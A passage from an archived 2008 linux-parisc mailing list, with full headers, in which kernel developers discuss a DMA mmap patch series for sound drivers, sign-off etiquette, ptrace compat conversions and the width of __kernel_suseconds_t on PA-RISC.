> > That sounds like a good idea.
> > 
> > One concern is to define a non-inline function in *.h.  But,
> 
> Yes (I thought too but didn't find any other good reason then avoiding useless duplicate code)
> 
> > iommu-helper.h is included only by these two drivers, so there is no
> > problem as now, although a comment would be more helpful.
> > 
> Yes I hope it will be enough for this stuff to be accepted ;-)

I, too :)

Now updated my git tree:
    http://git.kernel.org/?p=linux/kernel/git/tiwai/sound-2.6.git;a=shortlog;h=topic/dma-fix
I'll post each patch again if preferred.


Do you guys see any pending issues?  I'd love to merge these patches
into the upstream for 2.6.28.

To get things clear -- I don't intend to fix the problem of mmap on
every non-coherent platform perfectly (yet).  Instead, this patch
series is intended to fix the current behavior, at least, for the
sound drivers not to crash unconditionally.  It provides a (minimal)
way to mmap the pages taken via dma_alloc_coherent().


Thanks,

Takashi
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] drop superfluous .align 16
Date: Tue, 26 Aug 2008 11:35:07 -0400
Lines: 50
Approved: news@gmane.org
Message-ID: <119aab440808260835w1e87dd23n715cc51ffe03f2b8@mail.gmail.com>
References: <200808242026.06295.deller@gmx.de>
	 <200808242051.12202.deller@gmx.de>
	 <1219604258.4550.3.camel@localhost.localdomain>
	 <48B2A62C.2060001@gmx.de> <20080826042619.GB30449@colo.lackof.org>
	 <119aab440808260542i28772da4x89c1f98d8a28d710@mail.gmail.com>
	 <1219759828.3341.6.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1219764955 25488 80.91.229.12 (26 Aug 2008 15:35:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Aug 2008 15:35:55 +0000 (UTC)
Cc: "Grant Grundler" <grundler@parisc-linux.org>,
	"Helge Deller" <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	"Kyle McMartin" <kyle@mcmartin.ca>
To: "James Bottomley" <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 26 17:36:48 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KY0aY-0000Ga-SE
	for glpp-linux-parisc@gmane.org; Tue, 26 Aug 2008 17:36:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754322AbYHZPfK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 26 Aug 2008 11:35:10 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754436AbYHZPfK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 26 Aug 2008 11:35:10 -0400
Original-Received: from wr-out-0506.google.com ([64.233.184.229]:33115 "EHLO
	wr-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754322AbYHZPfI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 26 Aug 2008 11:35:08 -0400
Original-Received: by wr-out-0506.google.com with SMTP id 69so1745671wri.5
        for <linux-parisc@vger.kernel.org>; Tue, 26 Aug 2008 08:35:07 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=ikrAV1C3k5Zfn63A5WNckUwVwYrUCXaYSF4lS5WUypE=;
        b=cHS5yB/YSVlg62zZ5maIWfWsK3VJf2X8P+8y5E0ZwE9GPJvt0ZHIIrPNHffzeBxJNa
         e0tThHRD1Q/llvSj7W0maWmPDShqAT7MNZ5kjf3Zd5U/IA/GQGaX3HVdNoszc29X0Tnf
         D5/fJ/f2GCem5nO0Yg7hWXpVUw/d5wwIyHcQc=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=RcWhVRoDkVV+lYFWw/IPjHLijX4ey2cYsgDjAveiwGCPKIqOnFEYlC+jBvNMckMPc2
         AsOJhYr0j9UvRjuWMyo/HaZSQGL3cT9mt2Hl8SPBTZVBDX2kljWv66yNuF9qwdFoPv+o
         P1csNDaYF3Q20VJoxSlmn1n+3oDsG7wOo3pP4=
Original-Received: by 10.90.106.6 with SMTP id e6mr7269587agc.52.1219764907242;
        Tue, 26 Aug 2008 08:35:07 -0700 (PDT)
Original-Received: by 10.90.101.5 with HTTP; Tue, 26 Aug 2008 08:35:07 -0700 (PDT)
In-Reply-To: <1219759828.3341.6.camel@localhost.localdomain>
Content-Disposition: inline
X-Google-Sender-Auth: 51384abd4ba8f357
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:675
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/675>

On Tue, Aug 26, 2008 at 10:10 AM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
> On Tue, 2008-08-26 at 08:42 -0400, Carlos O'Donell wrote:
>> On Tue, Aug 26, 2008 at 12:26 AM, Grant Grundler
>> <grundler@parisc-linux.org> wrote:
>> > Thanks for tracking and resubmitting this...Carlos already ACK'd and I think
>> > it would be good if kyle added it to his patch queue.
>> >
>> > But I liked two other things proposed in this thread.
>> > 1) jejb's preference to document the alignement requirement
>> > 2) jda's proposal for ENTRY_ALIGN() (which accomplishes (1))
>> >
>> > So I've hacked your patch to include those two things.
>> >
>> > I've only build-tested this for 64-bit builds.
>> >
>> > thanks,
>> > grant
>> >
>> > Signed-off-by: Helge Deller <deller@gmx.de>
>> > Signed-off-by: Grant Grundler <grundler@parisc-linux.org>
>
> Can we get this right, please ... we'll get into awful penguin trouble
> if he catches us misusing the DCO:
>
>> Signed-off-by: Carlos O'Donell <carlos@systemhalted.org>
>
> That's not signed off by you.  You only get to add a signed-off-by if
> the patch physically passes through your hands.  That means that Grant's
> above is correct because he modified the patch and resent it, but yours
> isn't because you did nothing with it (and you didn't pass it on).
>
> You can add Acked-by: if you like (that usually means I'm the person in
> charge of the relevant code and I approved sending it through someone
> else's tree) or Reviewed-by: (I actually looked through the patch and it
> seems to be fine to me).

Quite right. Sorry for the cut-n-paste.

Since I wrote the code, I consider myself the maintainer.

Acked-by: Carlos O'Donell <carlos@systemhalted.org>

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] compat_sys_ptrace conversions for parisc
Date: Tue, 26 Aug 2008 22:03:11 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <20080826200311.GC3791@lst.de>
References: <200808242026.06295.deller@gmx.de> <200808242033.25481.deller@gmx.de> <20080825171103.GB28485@phobos.i.cabal.ca> <48B2F0AF.3020005@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1219781170 26881 80.91.229.12 (26 Aug 2008 20:06:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Aug 2008 20:06:10 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Christoph Hellwig <hch@lst.de>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 26 22:07:03 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KY4m2-0005qR-14
	for glpp-linux-parisc@gmane.org; Tue, 26 Aug 2008 22:04:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753084AbYHZUDQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 26 Aug 2008 16:03:16 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753369AbYHZUDQ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 26 Aug 2008 16:03:16 -0400
Original-Received: from verein.lst.de ([213.95.11.210]:50304 "EHLO verein.lst.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753084AbYHZUDQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 26 Aug 2008 16:03:16 -0400
Original-Received: from verein.lst.de (localhost [127.0.0.1])
	by verein.lst.de (8.12.3/8.12.3/Debian-7.1) with ESMTP id m7QK3CIF004371
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO);
	Tue, 26 Aug 2008 22:03:12 +0200
Original-Received: (from hch@localhost)
	by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id m7QK3BNW004369;
	Tue, 26 Aug 2008 22:03:11 +0200
Content-Disposition: inline
In-Reply-To: <48B2F0AF.3020005@gmx.de>
User-Agent: Mutt/1.3.28i
X-Spam-Score: 0 () 
X-Scanned-By: MIMEDefang 2.39
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:676
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/676>

On Mon, Aug 25, 2008 at 07:49:35PM +0200, Helge Deller wrote:
> I agree that my comment suggests that splitting the patch into two parts 
> could make sense to track the changes easier, but if you look into the 
> original code you'll see, that I would need to duplicate all of the 
> arch_ptrace code and then make the copied part 64bit-ready. Then the 
> second patch would delete all of this again and replacing it with the 
> generic function calls.
> IMHO that's a lot of coding and changes without any need. You'll first 
> need to understand coding in my first patch which is then deleted 
> afterwards with the second patch again. And if you look at the final 
> ptrace.c file after applying my patch which I posted here, you'll see 
> that arch_ptrace is now really small and simple to understand.
> 
> That said, I'm not very motivated to split my patch.

Oh, parisc actually uses sys_ptrace as the 32bit entry point.  Yes, I
see your point and take back the suggestion.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: __kernel_suseconds_t is int on PA-RISC (and SPARC64)?
Date: Tue, 26 Aug 2008 22:11:25 +0200 (CEST)
Lines: 29
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.0808262207450.7910@anakin>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1219781572 28903 80.91.229.12 (26 Aug 2008 20:12:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Aug 2008 20:12:52 +0000 (UTC)
Cc: Linux/m68k <linux-m68k@vger.kernel.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1759230AbYHZULj@vger.kernel.org Tue Aug 26 22:13:46 2008
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1759230AbYHZULj@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KY4uC-0001DZ-KU
	for glk-linux-kernel-3@gmane.org; Tue, 26 Aug 2008 22:12:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759230AbYHZULj (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 26 Aug 2008 16:11:39 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753210AbYHZUL2
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Tue, 26 Aug 2008 16:11:28 -0400
Original-Received: from edna.telenet-ops.be ([195.130.132.58]:56520 "EHLO
	edna.telenet-ops.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752881AbYHZUL2 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 26 Aug 2008 16:11:28 -0400
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by edna.telenet-ops.be (Postfix) with SMTP id 75489E406B;
	Tue, 26 Aug 2008 22:11:26 +0200 (CEST)
Original-Received: from anakin.of.borg (d54C15368.access.telenet.be [84.193.83.104])
	by edna.telenet-ops.be (Postfix) with ESMTP id 5BDE7E4065;
	Tue, 26 Aug 2008 22:11:26 +0200 (CEST)
Original-Received: from anakin.of.borg (localhost [127.0.0.1])
	by anakin.of.borg (8.14.3/8.14.3/Debian-5) with ESMTP id m7QKBPu2000332
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Tue, 26 Aug 2008 22:11:25 +0200
Original-Received: from localhost (geert@localhost)
	by anakin.of.borg (8.14.3/8.14.3/Submit) with ESMTP id m7QKBPLj000329;
	Tue, 26 Aug 2008 22:11:25 +0200
X-Authentication-Warning: anakin.of.borg: geert owned process doing -bs
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:726337 gmane.linux.ports.parisc:677
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/677>

Apparently __kernel_suseconds_t is `int' on PA-RISC (and on SPARC64),
while it's `long' on all other platforms.

Is there a specific reason for that?

This causes compiler warnings in the HP SDC Real Time Clock driver,
which is shared between PA-RISC and m68k:

drivers/input/misc/hp_sdc_rtc.c:461: warning: format '%02d' expects type 'int', but argument 4 has type 'long int'
drivers/input/misc/hp_sdc_rtc.c:461: warning: format '%02d' expects type 'int', but argument 4 has type 'long int'
drivers/input/misc/hp_sdc_rtc.c:468: warning: format '%02d' expects type 'int', but argument 4 has type 'long int'
drivers/input/misc/hp_sdc_rtc.c:468: warning: format '%02d' expects type 'int', but argument 4 has type 'long int'
drivers/input/misc/hp_sdc_rtc.c:475: warning: format '%02d' expects type 'int', but argument 4 has type 'long int'
drivers/input/misc/hp_sdc_rtc.c:475: warning: format '%02d' expects type 'int', but argument 4 has type 'long int'
drivers/input/misc/hp_sdc_rtc.c:482: warning: format '%02d' expects type 'int', but argument 4 has type 'long int'
drivers/input/misc/hp_sdc_rtc.c:482: warning: format '%02d' expects type 'int', but argument 4 has type 'long int'
drivers/input/misc/hp_sdc_rtc.c:489: warning: format '%02d' expects type 'int', but argument 4 has type 'long int'
drivers/input/misc/hp_sdc_rtc.c:489: warning: format '%02d' expects type 'int', but argument 4 has type 'long int'

Gr{oetje,eeting}s,

						Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
							    -- Linus Torvalds

From - Thu Nov 08 21:02:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: __kernel_suseconds_t is int on PA-RISC (and SPARC64)?
Date: Tue, 26 Aug 2008 22:24:18 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <48B46672.1000902@gmx.de>
References: <Pine.LNX.4.64.0808262207450.7910@anakin>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1219782282 32079 80.91.229.12 (26 Aug 2008 20:24:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Aug 2008 20:24:42 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	Linux/m68k <linux-m68k@vger.kernel.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 26 22:25:35 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KY56U-0005bf-6L
	for glpp-linux-parisc@gmane.org; Tue, 26 Aug 2008 22:25:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751072AbYHZUYZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 26 Aug 2008 16:24:25 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751530AbYHZUYY
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 26 Aug 2008 16:24:24 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:34010 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751072AbYHZUYX (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 26 Aug 2008 16:24:23 -0400
Original-Received: (qmail invoked by alias); 26 Aug 2008 20:24:21 -0000
Original-Received: from mnhm-590e113e.pool.einsundeins.de (EHLO halden.box) [89.14.17.62]
  by mail.gmx.net (mp059) with SMTP; 26 Aug 2008 22:24:21 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/vGF54mITvEDeT0eHVTPFjzbzwRPThCxgrg9oLVC
	Q0nz7ehcz9Roq8
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <Pine.LNX.4.64.0808262207450.7910@anakin>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.57
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:678 gmane.linux.kernel:726345
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/678>

Geert Uytterhoeven wrote:
> Apparently __kernel_suseconds_t is `int' on PA-RISC (and on SPARC64),
> while it's `long' on all other platforms.
> 
> Is there a specific reason for that?

I don't know for sure, but arch/parisc/kernel/syscall_table.S states:
/* even though manpage says struct timeval contains longs, ours has
  * time_t and suseconds_t -- both of which are safe wide/narrow */
    ENTRY_COMP(setitimer)

So it was probably chosen to be int so that it can be easily used in 32- 
and 64bit kernels (or compat code).

Helge


> This causes compiler warnings in the HP SDC Real Time Clock driver,
> which is shared between PA-RISC and m68k:
> 
> drivers/input/misc/hp_sdc_rtc.c:461: warning: format '%02d' expects type 'int', but argument 4 has type 'long int'
> drivers/input/misc/hp_sdc_rtc.c:461: warning: format '%02d' expects type 'int', but argument 4 has type 'long int'
> drivers/input/misc/hp_sdc_rtc.c:468: warning: format '%02d' expects type 'int', but argument 4 has type 'long int'
> drivers/input/misc/hp_sdc_rtc.c:468: warning: format '%02d' expects type 'int', but argument 4 has type 'long int'
> drivers/input/misc/hp_sdc_rtc.c:475: warning: format '%02d' expects type 'int', but argument 4 has type 'long int'
> drivers/input/misc/hp_sdc_rtc.c:475: warning: format '%02d' expects type 'int', but argument 4 has type 'long int'
> drivers/input/misc/hp_sdc_rtc.c:482: warning: format '%02d' expects type 'int', but argument 4 has type 'long int'
> drivers/input/misc/hp_sdc_rtc.c:482: warning: format '%02d' expects type 'int', but argument 4 has type 'long int'
> drivers/input/misc/hp_sdc_rtc.c:489: warning: format '%02d' expects type 'int', but argument 4 has type 'long int'
> drivers/input/misc/hp_sdc_rtc.c:489: warning: format '%02d' expects type 'int', but argument 4 has type 'long int'
> 
> Gr{oetje,eeting}s,
> 
> 						Geert
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: __kernel_suseconds_t is int on PA-RISC (and SPARC64)?
Date: Tue, 26 Aug 2008 13:50:24 -0700 (PDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <20080826.135024.03095891.davem@davemloft.net>
References: <Pine.LNX.4.64.0808262207450.7910@anakin>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1219783844 6607 80.91.229.12 (26 Aug 2008 20:50:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Aug 2008 20:50:44 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-m68k@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: geert@linux-m68k.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 26 22:51:37 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KY5Vj-0004wK-70
	for glpp-linux-parisc@gmane.org; Tue, 26 Aug 2008 22:51:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751884AbYHZUua (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 26 Aug 2008 16:50:30 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751859AbYHZUua
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 26 Aug 2008 16:50:30 -0400
Original-Received: from 74-93-104-97-Washington.hfc.comcastbusiness.net ([74.93.104.97]:33923
	"EHLO sunset.davemloft.net" rhost-flags-OK-FAIL-OK-OK)
	by vger.kernel.org with ESMTP id S1751884AbYHZUu3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 26 Aug 2008 16:50:29 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by sunset.davemloft.net (Postfix) with ESMTP id B1312C8C1B5;
	Tue, 26 Aug 2008 13:50:24 -0700 (PDT)
In-Reply-To: <Pine.LNX.4.64.0808262207450.7910@anakin>
X-Mailer: Mew version 6.1 on Emacs 22.1 / Mule 5.0 (SAKAKI)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:679 gmane.linux.kernel:726359
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/679>

From: Geert Uytterhoeven <geert@linux-m68k.org>
Date: Tue, 26 Aug 2008 22:11:25 +0200 (CEST)

> Apparently __kernel_suseconds_t is `int' on PA-RISC (and on SPARC64),
> while it's `long' on all other platforms.
> 
> Is there a specific reason for that?

An existing API probably decided it for us :-)

Anyways, no use in wondering why, it can't be changed at this point.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general
Subject: Re: [PATCH] mips: Add dma_mmap_coherent()
Date: Tue, 26 Aug 2008 15:01:18 -0600
Lines: 60
Approved: news@gmane.org
Message-ID: <20080826210118.GA26235@colo.lackof.org>
References: <K6047O$07C3A675C0E02FC7BE973C0D5DEF9AAA@scarlet.be> <s5hy72pmefh.wl%tiwai@suse.de> <48B0678E.9010208@scarlet.be> <s5hej4blrx7.wl%tiwai@suse.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1219784525 9750 80.91.229.12 (26 Aug 2008 21:02:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Aug 2008 21:02:05 +0000 (UTC)
Cc: Joel Soete <soete.joel@scarlet.be>,
	"James.Bottomley" <James.Bottomley@HansenPartnership.com>,
	linux-mips <linux-mips@linux-mips.org>,
	ralf <ralf@linux-mips.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Takashi Iwai <tiwai@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 26 23:02:58 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KY5gQ-0000Hk-4l
	for glpp-linux-parisc@gmane.org; Tue, 26 Aug 2008 23:02:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751094AbYHZVBb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 26 Aug 2008 17:01:31 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751250AbYHZVBb
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 26 Aug 2008 17:01:31 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:46925 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751094AbYHZVBa (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 26 Aug 2008 17:01:30 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 10ECF29806B;
	Tue, 26 Aug 2008 15:01:29 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27905-03; Tue, 26 Aug 2008 15:01:18 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id AFE1529800A; Tue, 26 Aug 2008 15:01:18 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <s5hej4blrx7.wl%tiwai@suse.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:680 gmane.linux.ports.mips.general:21398
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/680>

On Tue, Aug 26, 2008 at 05:25:24PM +0200, Takashi Iwai wrote:
...
> Now updated my git tree:
>     http://git.kernel.org/?p=linux/kernel/git/tiwai/sound-2.6.git;a=shortlog;h=topic/dma-fix
> I'll post each patch again if preferred.

+#ifdef CONFIG_SND_COHERENT_DMA
 #define SNDRV_DMA_TYPE_DEV_SG          3       /* generic device SG-buffer */
+#else
+#define SNDRV_DMA_TYPE_DEV_SG  SNDRV_DMA_TYPE_DEV /* no SG-buf support */
+#endif

Hi Takashi,
I had to look at a previous patch to figure out CONFIG_SND_COHERENT_DMA
is an arch dependent flag:

+config SND_COHERENT_DMA
+       def_bool y
+       depends on !PPC32 || !NOT_COHERENT_CACHE
+       depends on !ARM
+       depends on !MIPS
+       depends on !PARISC

In general, I don't expect this to be a compile time option.
I'm wondering if extending the DMA API to provide an
interface for user space to also be DMA coherent.
Maybe something to talk about at Linux Plumbers Conf
or kernel summit...

> Do you guys see any pending issues?  I'd love to merge these patches
> into the upstream for 2.6.28.

SPARC/SPARC64 usually falls into the same category as parisc/mips.

> 
> To get things clear -- I don't intend to fix the problem of mmap on
> every non-coherent platform perfectly (yet).  Instead, this patch
> series is intended to fix the current behavior, at least, for the
> sound drivers not to crash unconditionally.  It provides a (minimal)
> way to mmap the pages taken via dma_alloc_coherent().

